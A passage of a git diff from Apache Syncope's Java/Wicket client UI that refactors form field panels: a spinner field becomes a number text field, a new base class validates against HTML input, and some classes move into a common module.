org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; +import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.Attributable; import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.markup.head.IHeaderResponse; +import org.apache.wicket.markup.head.JavaScriptHeaderItem; import org.apache.wicket.markup.html.list.ListItem; import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; -public final class AjaxSpinnerFieldPanel extends FieldPanel { +public final class AjaxNumberFieldPanel> extends FieldPanel { private static final long serialVersionUID = 6413819574530703577L; + @SuppressWarnings("unchecked") + public static > Class cast(final Class clazz) { + return (Class) clazz; + } + private final Class reference; private final IModel model; private final Options options; - private SpinnerBehavior behavior; + private final boolean enableOnChange; + + private final boolean convertValuesToString; - private AjaxSpinnerFieldPanel( + private AjaxNumberFieldPanel( final String id, final String name, final Class reference, final IModel model, final Options options, - final boolean enableOnChange) { + final boolean enableOnChange, + final boolean convertValuesToString) { super(id, name, model); - field = new AjaxSpinner<>("spinner", model, options, reference) { + this.reference = reference; + this.model = model; + this.options = options; + this.enableOnChange = enableOnChange; + this.convertValuesToString = convertValuesToString; + + field = new NumberTextField<>("numberTextField", model, reference, options) { - private static final long serialVersionUID = -3624755213720060594L; + private static final long serialVersionUID = -8837755342786762653L; @Override - public JQueryUIBehavior newWidgetBehavior(final String selector) { - behavior = new SpinnerBehavior(selector, new SpinnerAdapter()); - behavior.setOptions(options); - return behavior; + protected String getModelValue() { + T value = getModelObject(); + return value == null ? "" : value.toString().trim(); } }; @@ -84,15 +98,17 @@ protected void onUpdate(final AjaxRequestTarget target) { } add(field.setLabel(new ResourceModel(name, name)).setOutputMarkupId(true)); + } - this.name = name; - this.model = model; - this.reference = reference; - this.options = options; + @Override + public FieldPanel setReadOnly(final boolean readOnly) { + super.setReadOnly(readOnly); + NumberTextField.class.cast(field).setEnabled(!readOnly); + return this; } @Override - public AjaxSpinnerFieldPanel setNewModel(final List list) { + public AjaxNumberFieldPanel setNewModel(final List list) { setNewModel(new Model<>() { private static final long serialVersionUID = 527651414610325237L; @@ -101,20 +117,18 @@ public AjaxSpinnerFieldPanel setNewModel(final List list) { public T getObject() { T value = null; - if (list != null && !list.isEmpty() - && list.get(0) != null && StringUtils.isNotBlank(list.get(0).toString())) { - + if (list != null && !list.isEmpty() && list.get(0) != null && !list.get(0).toString().isEmpty()) { value = reference.equals(Integer.class) - ? reference.cast(NumberUtils.toInt(list.get(0).toString())) - : reference.equals(Long.class) - ? reference.cast(NumberUtils.toLong(list.get(0).toString())) - : reference.equals(Short.class) - ? reference.cast(NumberUtils.toShort(list.get(0).toString())) - : reference.equals(Float.class) - ? reference.cast(NumberUtils.toFloat(list.get(0).toString())) - : reference.equals(byte.class) - ? reference.cast(NumberUtils.toByte(list.get(0).toString())) - : reference.cast(NumberUtils.toDouble(list.get(0).toString())); + ? reference.cast(NumberUtils.toInt(list.get(0).toString())) + : reference.equals(Long.class) + ? reference.cast(NumberUtils.toLong(list.get(0).toString())) + : reference.equals(Short.class) + ? reference.cast(NumberUtils.toShort(list.get(0).toString())) + : reference.equals(Float.class) + ? reference.cast(NumberUtils.toFloat(list.get(0).toString())) + : reference.equals(byte.class) + ? reference.cast(NumberUtils.toByte(list.get(0).toString())) + : reference.cast(NumberUtils.toDouble(list.get(0).toString())); } return value; @@ -123,9 +137,7 @@ public T getObject() { @Override public void setObject(final T object) { list.clear(); - if (object != null) { - list.add(object.toString()); - } + Optional.ofNullable(object).ifPresent(v -> list.add(convertValuesToString ? v.toString() : v)); } }); @@ -134,7 +146,7 @@ public void setObject(final T object) { @SuppressWarnings("rawtypes") @Override - public AjaxSpinnerFieldPanel setNewModel(final ListItem item) { + public AjaxNumberFieldPanel setNewModel(final ListItem item) { field.setModel(new Model<>() { private static final long serialVersionUID = 6799404673615637845L; @@ -149,22 +161,31 @@ public T getObject() { if (obj instanceof String) { try { number = reference.equals(Integer.class) - ? reference.cast(Integer.valueOf((String) obj)) - : reference.equals(Long.class) - ? reference.cast(Long.valueOf((String) obj)) - : reference.equals(Short.class) - ? reference.cast(Short.valueOf((String) obj)) - : reference.equals(Float.class) - ? reference.cast(Float.valueOf((String) obj)) - : reference.equals(byte.class) - ? reference.cast(Byte.valueOf((String) obj)) - : reference.cast(Double.valueOf((String) obj)); + ? reference.cast(Integer.valueOf((String) obj)) + : reference.equals(Long.class) + ? reference.cast(Long.valueOf((String) obj)) + : reference.equals(Short.class) + ? reference.cast(Short.valueOf((String) obj)) + : reference.equals(Float.class) + ? reference.cast(Float.valueOf((String) obj)) + : reference.equals(byte.class) + ? reference.cast(Byte.valueOf((String) obj)) + : reference.cast(Double.valueOf((String) obj)); } catch (NumberFormatException e) { LOG.error("While attempting to parse {}", obj, e); } } else if (obj instanceof Number) { - // Don't parse anything - number = reference.cast(obj); + number = reference.equals(Integer.class) + ? reference.cast(((Number) obj).intValue()) + : reference.equals(Long.class) + ? reference.cast(((Number) obj).longValue()) + : reference.equals(Short.class) + ? reference.cast(((Number) obj).shortValue()) + : reference.equals(Float.class) + ? reference.cast(((Number) obj).floatValue()) + : reference.equals(byte.class) + ? reference.cast(((Number) obj).byteValue()) + : reference.cast(((Number) obj).doubleValue()); } } @@ -174,45 +195,44 @@ public T getObject() { @Override @SuppressWarnings("unchecked") public void setObject(final T object) { - item.setModelObject(Optional.ofNullable(object).map(Object::toString).orElse(null)); + item.setModelObject(Optional.ofNullable(object). + map(v -> convertValuesToString ? v.toString() : v). + orElse(null)); } }); return this; } - @SuppressWarnings({ "unchecked", "rawtypes" }) @Override - public FieldPanel setNewModel(final Attributable attributableTO, final String schema) { - field.setModel(new Model() { + public FieldPanel setNewModel(final Attributable attributable, final String schema) { + field.setModel(new Model<>() { private static final long serialVersionUID = -4214654722524358000L; @Override - public Serializable getObject() { - List values = attributableTO.getPlainAttr(schema).get().getValues(); - if (!values.isEmpty()) { - return reference.equals(Integer.class) - ? reference.cast(NumberUtils.toInt(values.get(0))) - : reference.equals(Long.class) - ? reference.cast(NumberUtils.toLong(values.get(0))) - : reference.equals(Short.class) - ? reference.cast(NumberUtils.toShort(values.get(0))) - : reference.equals(Float.class) - ? reference.cast(NumberUtils.toFloat(values.get(0))) - : reference.equals(byte.class) - ? reference.cast(NumberUtils.toByte(values.get(0))) - : reference.cast(NumberUtils.toDouble(values.get(0))); - } - return null; + public T getObject() { + return attributable.getPlainAttr(schema).map(Attr::getValues).filter(Predicate.not(List::isEmpty)). + map(values -> reference.equals(Integer.class) + ? reference.cast(NumberUtils.toInt(values.get(0))) + : reference.equals(Long.class) + ? reference.cast(NumberUtils.toLong(values.get(0))) + : reference.equals(Short.class) + ? reference.cast(NumberUtils.toShort(values.get(0))) + : reference.equals(Float.class) + ? reference.cast(NumberUtils.toFloat(values.get(0))) + : reference.equals(byte.class) + ? reference.cast(NumberUtils.toByte(values.get(0))) + : reference.cast(NumberUtils.toDouble(values.get(0)))). + orElse(null); } @Override - public void setObject(final Serializable object) { - attributableTO.getPlainAttr(schema).get().getValues().clear(); - if (object != null) { - attributableTO.getPlainAttr(schema).get().getValues().add(object.toString()); - } + public void setObject(final T object) { + attributable.getPlainAttr(schema).ifPresent(plainAttr -> { + plainAttr.getValues().clear(); + Optional.ofNullable(object).ifPresent(o -> plainAttr.getValues().add(o.toString())); + }); } }); @@ -220,8 +240,15 @@ public void setObject(final Serializable object) { } @Override - public AjaxSpinnerFieldPanel clone() { - AjaxSpinnerFieldPanel panel = new AjaxSpinnerFieldPanel<>(getId(), name, reference, model, options, false); + public void renderHead(final IHeaderResponse response) { + super.renderHead(response); + response.render(JavaScriptHeaderItem.forReference(new KendoCultureResourceReference(getLocale()))); + } + + @Override + public AjaxNumberFieldPanel clone() { + AjaxNumberFieldPanel panel = new AjaxNumberFieldPanel<>( + getId(), name, reference, model, options, enableOnChange, convertValuesToString); panel.setRequired(isRequired()); panel.setReadOnly(isReadOnly()); @@ -234,23 +261,14 @@ public AjaxSpinnerFieldPanel clone() { return panel; } - @Override - public FieldPanel setReadOnly(final boolean readOnly) { - super.setReadOnly(readOnly); - AjaxSpinner.class.cast(field).setEnabled(!readOnly); - options.set("disabled", readOnly); - if (behavior != null) { - behavior.setOptions(options); - } - return this; - } - - public static class Builder { + public static class Builder> { private final Options options = new Options(); private boolean enableOnChange = false; + private boolean convertValuesToString = true; + public Builder min(final T min) { options.set("min", min); return this; @@ -261,23 +279,58 @@ public Builder max(final T max) { return this; } + public Builder format(final String format) { + options.set("format", format); + return this; + } + public Builder step(final T step) { options.set("step", step); return this; } + public Builder options(final Options options) { + options.entries().forEach(e -> this.options.set(e.getKey(), e.getValue())); + return this; + } + public Builder enableOnChange() { enableOnChange = true; return this; } - public AjaxSpinnerFieldPanel build( + public Builder convertValuesToString(final boolean convertValuesToString) { + this.convertValuesToString = convertValuesToString; + return this; + } + + public AjaxNumberFieldPanel build( final String id, final String name, final Class reference, final IModel model) { - return new AjaxSpinnerFieldPanel<>(id, name, reference, model, options, enableOnChange); + if (options.entries().stream().noneMatch(e -> "decimals".equals(e.getKey()))) { + options.set("decimals", "10"); + } + + if (options.entries().stream().noneMatch(o -> "format".equalsIgnoreCase(o.getKey()))) { + if (reference.equals(Integer.class) || reference.equals(Long.class) || reference.equals(Short.class)) { + options.set("format", "'#'"); + } else { + options.set("format", "'#.##########'"); + } + } + if (options.entries().stream().noneMatch(o -> "step".equalsIgnoreCase(o.getKey()))) { + if (reference.equals(Integer.class) || reference.equals(Long.class) || reference.equals(Short.class)) { + options.set("step", "1"); + } else { + options.set("step", "0.000000001"); + } + } + + return new AjaxNumberFieldPanel<>( + id, name, reference, model, options, enableOnChange, convertValuesToString); } } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.java index 3dbadf01ced..a18ec5b9665 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.ui.commons.markup.html.form; import de.agilecoders.wicket.extensions.markup.html.bootstrap.form.password.strength.PasswordStrengthBehavior; +import java.util.Optional; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.wicket.ajax.AjaxRequestTarget; @@ -26,29 +27,32 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.ResourceModel; -public class AjaxPasswordFieldPanel extends FieldPanel { +public class AjaxPasswordFieldPanel extends TextFieldPanel { private static final long serialVersionUID = -5490115280336667460L; - public AjaxPasswordFieldPanel(final String id, final String name, final IModel model) { - this(id, name, model, true, null); - } - - public AjaxPasswordFieldPanel(final String id, final String name, final IModel model, + public AjaxPasswordFieldPanel( + final String id, + final String name, + final IModel model, final boolean enableOnChange) { + this(id, name, model, enableOnChange, null); } public AjaxPasswordFieldPanel( - final String id, final String name, final IModel model, final boolean enableOnChange, + final String id, + final String name, + final IModel model, + final boolean enableOnChange, final PasswordStrengthBehavior passwordStrengthBehavior) { + super(id, name, model); field = new PasswordTextField("passwordField", model); - if (passwordStrengthBehavior != null) { - field.add(passwordStrengthBehavior); - } + setHTMLInputNotAllowed(); add(field.setLabel(new ResourceModel(name, name)).setRequired(false).setOutputMarkupId(true)); + Optional.ofNullable(passwordStrengthBehavior).ifPresent(field::add); if (enableOnChange && !isReadOnly()) { field.add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { @@ -56,13 +60,18 @@ public AjaxPasswordFieldPanel( private static final long serialVersionUID = -1107858522700306810L; @Override - protected void onUpdate(final AjaxRequestTarget art) { + protected void onUpdate(final AjaxRequestTarget target) { // nothing to do } }); } } + public AjaxPasswordFieldPanel setResetPassword(final boolean resetPassword) { + ((PasswordTextField) field).setResetPassword(resetPassword); + return this; + } + @Override public FieldPanel addRequiredLabel() { if (!isRequired()) { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxTextFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxTextFieldPanel.java index 270f6fb84a7..0478abbf16c 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxTextFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxTextFieldPanel.java @@ -21,6 +21,7 @@ import de.agilecoders.wicket.core.markup.html.bootstrap.components.TooltipConfig; import java.util.Iterator; import java.util.List; +import java.util.Optional; import java.util.regex.Pattern; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; @@ -33,9 +34,9 @@ import org.apache.wicket.extensions.ajax.markup.html.autocomplete.IAutoCompleteRenderer; import org.apache.wicket.model.IModel; import org.apache.wicket.model.ResourceModel; -import org.apache.wicket.validation.IValidator; +import org.apache.wicket.util.convert.IConverter; -public class AjaxTextFieldPanel extends FieldPanel implements Cloneable { +public class AjaxTextFieldPanel extends TextFieldPanel implements Cloneable { private static final long serialVersionUID = 238940918106696068L; @@ -70,7 +71,9 @@ protected Iterator getChoices(final String input) { @Override protected AutoCompleteBehavior newAutoCompleteBehavior( - final IAutoCompleteRenderer renderer, final AutoCompleteSettings settings) { + final IAutoCompleteRenderer renderer, + final AutoCompleteSettings settings) { + return new IndicatorAutoCompleteBehavior<>(renderer, settings) { private static final long serialVersionUID = 1070808433195962931L; @@ -81,7 +84,16 @@ protected Iterator getChoices(final String input) { } }; } + + @SuppressWarnings("unchecked") + @Override + public IConverter getConverter(final Class type) { + return AjaxTextFieldPanel.this.getConverter(). + map(converter -> (IConverter) converter). + orElseGet(() -> super.getConverter(type)); + } }; + setHTMLInputNotAllowed(); add(field.setLabel(new ResourceModel(name, name)).setOutputMarkupId(true)); if (enableOnChange && !isReadOnly()) { @@ -97,16 +109,16 @@ protected void onUpdate(final AjaxRequestTarget target) { } } - public void addValidator(final IValidator validator) { - this.field.add(validator); - } - public void setChoices(final List choices) { if (choices != null) { this.choices = choices; } } + protected Optional> getConverter() { + return Optional.empty(); + } + public FieldPanel enableJexlHelp() { questionMarkJexlHelp.setVisible(true); return this; diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/ConfirmBehavior.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/ConfirmBehavior.java similarity index 93% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/ConfirmBehavior.java rename to client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/ConfirmBehavior.java index c4f0218a57b..0a59c422af7 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/ConfirmBehavior.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/ConfirmBehavior.java @@ -16,14 +16,14 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.wicket.markup.html.form; +package org.apache.syncope.client.ui.commons.markup.html.form; import static de.agilecoders.wicket.jquery.JQuery.$; import de.agilecoders.wicket.jquery.function.JavaScriptInlineFunction; import java.util.ArrayList; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.wicket.Component; +import org.apache.wicket.Session; import org.apache.wicket.behavior.Behavior; import org.apache.wicket.markup.head.IHeaderResponse; import org.apache.wicket.markup.head.JavaScriptHeaderItem; @@ -63,7 +63,7 @@ public void renderHead(final Component component, final IHeaderResponse response + " className: 'btn-danger'" + " }" + "}," - + "locale: '" + SyncopeConsoleSession.get().getLocale().getLanguage() + "'," + + "locale: '" + Session.get().getLocale().getLanguage() + "'," + "callback: function(result) {" + " if (result == true) {" + " proceed = true;" diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/DateFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/DateFieldPanel.java index 73e5cd96d72..694cea0ecb3 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/DateFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/DateFieldPanel.java @@ -24,7 +24,9 @@ import java.util.Date; import java.util.List; import java.util.Optional; +import java.util.function.Predicate; import org.apache.commons.lang3.time.FastDateFormat; +import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.Attributable; import org.apache.wicket.markup.head.IHeaderResponse; import org.apache.wicket.markup.head.JavaScriptHeaderItem; @@ -129,22 +131,23 @@ public FieldPanel setNewModel(final Attributable attributable, final Strin @Override public Date getObject() { - if (!attributable.getPlainAttr(schema).get().getValues().isEmpty()) { - try { - return fmt.parse(attributable.getPlainAttr(schema).get().getValues().get(0)); - } catch (ParseException ex) { - LOG.error("While parsing date", ex); - } - } - return null; + return attributable.getPlainAttr(schema).map(Attr::getValues).filter(Predicate.not(List::isEmpty)). + map(values -> { + try { + return fmt.parse(values.get(0)); + } catch (ParseException e) { + LOG.error("While parsing date", e); + return null; + } + }).orElse(null); } @Override public void setObject(final Date object) { - attributable.getPlainAttr(schema).get().getValues().clear(); - if (object != null) { - attributable.getPlainAttr(schema).get().getValues().add(fmt.format(object)); - } + attributable.getPlainAttr(schema).ifPresent(plainAttr -> { + plainAttr.getValues().clear(); + Optional.ofNullable(object).ifPresent(o -> plainAttr.getValues().add(fmt.format(object))); + }); } }); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel.java index fa220fefb58..ba72ac7b36e 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/EncryptedFieldPanel.java @@ -25,7 +25,7 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.ResourceModel; -public class EncryptedFieldPanel extends FieldPanel implements Cloneable { +public class EncryptedFieldPanel extends TextFieldPanel implements Cloneable { private static final long serialVersionUID = 1882871043451691005L; @@ -34,7 +34,11 @@ public EncryptedFieldPanel(final String id, final String name, final IModel model, final boolean enableOnChange) { + final String id, + final String name, + final IModel model, + final boolean enableOnChange) { + super(id, name, model); field = new TextField<>("encryptedField", model) { @@ -43,9 +47,10 @@ public EncryptedFieldPanel( @Override protected String[] getInputTypes() { - return new String[]{"password"}; + return new String[] { "password" }; } }; + setHTMLInputNotAllowed(); if (enableOnChange && !isReadOnly()) { field.add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/FieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/FieldPanel.java index 59837203e3a..66bca800613 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/FieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/FieldPanel.java @@ -24,8 +24,10 @@ import java.io.Serializable; import java.util.List; import java.util.Optional; +import java.util.function.Predicate; import org.apache.commons.lang3.SerializationUtils; import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.Attributable; import org.apache.wicket.AttributeModifier; import org.apache.wicket.PageReference; @@ -130,24 +132,24 @@ public FieldPanel setNewModel(final IModel model) { } @SuppressWarnings({ "rawtypes", "unchecked" }) - public FieldPanel setNewModel(final Attributable attributableTO, final String schema) { + public FieldPanel setNewModel(final Attributable attributable, final String schema) { field.setModel(new Model() { private static final long serialVersionUID = -4214654722524358000L; @Override public Serializable getObject() { - return (!attributableTO.getPlainAttr(schema).get().getValues().isEmpty()) - ? attributableTO.getPlainAttr(schema).get().getValues().get(0) - : null; + return attributable.getPlainAttr(schema).map(Attr::getValues).filter(Predicate.not(List::isEmpty)). + map(values -> values.get(0)). + orElse(null); } @Override public void setObject(final Serializable object) { - attributableTO.getPlainAttr(schema).get().getValues().clear(); - if (object != null) { - attributableTO.getPlainAttr(schema).get().getValues().add(object.toString()); - } + attributable.getPlainAttr(schema).ifPresent(plainAttr -> { + plainAttr.getValues().clear(); + Optional.ofNullable(object).ifPresent(o -> plainAttr.getValues().add(o.toString())); + }); } }); diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/IndicatingOnConfirmAjaxLink.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/IndicatingOnConfirmAjaxLink.java similarity index 89% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/IndicatingOnConfirmAjaxLink.java rename to client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/IndicatingOnConfirmAjaxLink.java index d9377e99c49..8df5ef4adf0 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/form/IndicatingOnConfirmAjaxLink.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/IndicatingOnConfirmAjaxLink.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.wicket.markup.html.form; +package org.apache.syncope.client.ui.commons.markup.html.form; import org.apache.syncope.client.ui.commons.Constants; import org.apache.wicket.extensions.ajax.markup.html.IndicatingAjaxLink; @@ -30,10 +30,6 @@ public abstract class IndicatingOnConfirmAjaxLink extends IndicatingAjaxLink< private final boolean enabled; - public IndicatingOnConfirmAjaxLink(final String id, final boolean enabled) { - this(id, "confirmDelete", enabled); - } - public IndicatingOnConfirmAjaxLink(final String id, final String msg, final boolean enabled) { super(id); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/SyncopePasswordStrengthConfig.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/SyncopePasswordStrengthConfig.java new file mode 100644 index 00000000000..7b4c72d3174 --- /dev/null +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/SyncopePasswordStrengthConfig.java @@ -0,0 +1,54 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.ui.commons.markup.html.form; + +import de.agilecoders.wicket.extensions.markup.html.bootstrap.form.password.strength.PasswordStrengthConfig; +import de.agilecoders.wicket.jquery.AbstractConfig; +import de.agilecoders.wicket.jquery.IKey; +import de.agilecoders.wicket.jquery.Key; + +public class SyncopePasswordStrengthConfig extends PasswordStrengthConfig { + + private static final long serialVersionUID = -5625052394514215251L; + + public enum KeyType { + common, + ui, + rules; + + } + + public SyncopePasswordStrengthConfig() { + super(); + + withProgressExtraCssClasses("pwstrengthProgress"). + withShowVerdictsInsideProgressBar(true). + withShowProgressBar(true); + } + + protected void put(final KeyType keyType, final IKey key, final T value) { + AbstractConfig ui = (AbstractConfig) all().get(keyType.name()); + ui.put(key, value); + } + + public PasswordStrengthConfig withProgressExtraCssClasses(final String progressExtraCssClasses) { + put(KeyType.ui, new Key<>("progressExtraCssClasses"), progressExtraCssClasses); + return this; + } +} diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.java new file mode 100644 index 00000000000..abbc3f17db2 --- /dev/null +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/TextFieldPanel.java @@ -0,0 +1,56 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.ui.commons.markup.html.form; + +import java.util.Optional; +import org.apache.wicket.model.IModel; +import org.apache.wicket.validation.IValidatable; +import org.apache.wicket.validation.IValidator; +import org.apache.wicket.validation.ValidationError; + +public abstract class TextFieldPanel extends FieldPanel { + + private static final long serialVersionUID = 1708195999215061362L; + + public TextFieldPanel(final String id, final String name, final IModel model) { + super(id, name, model); + } + + protected TextFieldPanel setHTMLInputNotAllowed() { + field.add(new IValidator() { + + private static final long serialVersionUID = -8386207349500954732L; + + @Override + public void validate(final IValidatable validatable) { + Optional.ofNullable(validatable.getValue()).filter(v -> v.indexOf('<') != -1).ifPresent(v -> { + ValidationError error = new ValidationError().addKey("htmlErrorMessage"); + error.setVariable("label", field.getLabel().getObject()); + validatable.error(error); + }); + } + }); + + return this; + } + + public void addValidator(final IValidator validator) { + this.field.add(validator); + } +} diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryCertPreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryCertPreviewer.java index 7e2c241fae9..6439f14f7be 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryCertPreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryCertPreviewer.java @@ -35,8 +35,8 @@ public class BinaryCertPreviewer extends BinaryPreviewer { private static final long serialVersionUID = -5843835939538055110L; - public BinaryCertPreviewer(final String id, final String mimeType) { - super(id, mimeType); + public BinaryCertPreviewer(final String mimeType) { + super(mimeType); } @Override diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryImagePreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryImagePreviewer.java index c720cf1f48c..15337f3d3c7 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryImagePreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryImagePreviewer.java @@ -30,23 +30,22 @@ public class BinaryImagePreviewer extends BinaryPreviewer { private static final long serialVersionUID = 3338812359368457349L; - private static final int IMG_SIZE = 300; + protected static final int IMG_SIZE = 300; - public BinaryImagePreviewer(final String id, final String mimeType) { - super(id, mimeType); + public BinaryImagePreviewer(final String mimeType) { + super(mimeType); } @Override public Component preview(final byte[] uploadedBytes) { - return this.addOrReplace( - new NonCachingImage("previewImage", new ThumbnailImageResource(new DynamicImageResource() { + return addOrReplace(new NonCachingImage("previewImage", new ThumbnailImageResource(new DynamicImageResource() { - private static final long serialVersionUID = 923201517955737928L; + private static final long serialVersionUID = 923201517955737928L; - @Override - protected byte[] getImageData(final IResource.Attributes attributes) { - return uploadedBytes; - } - }, IMG_SIZE))); + @Override + protected byte[] getImageData(final IResource.Attributes attributes) { + return uploadedBytes; + } + }, IMG_SIZE))); } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPDFPreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPDFPreviewer.java index d41b0c5a858..1dc1b599d8d 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPDFPreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPDFPreviewer.java @@ -21,14 +21,11 @@ import java.awt.Graphics2D; import java.awt.RenderingHints; import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; import java.io.IOException; -import java.io.InputStream; import java.io.Serializable; import java.time.Instant; import org.apache.pdfbox.Loader; import org.apache.pdfbox.cos.COSObject; -import org.apache.pdfbox.io.MemoryUsageSetting; import org.apache.pdfbox.pdmodel.DefaultResourceCache; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.graphics.PDXObject; @@ -55,23 +52,21 @@ public class BinaryPDFPreviewer extends BinaryPreviewer { private transient BufferedImage firstPage; - public BinaryPDFPreviewer(final String id, final String mimeType) { - super(id, mimeType); + public BinaryPDFPreviewer(final String mimeType) { + super(mimeType); } 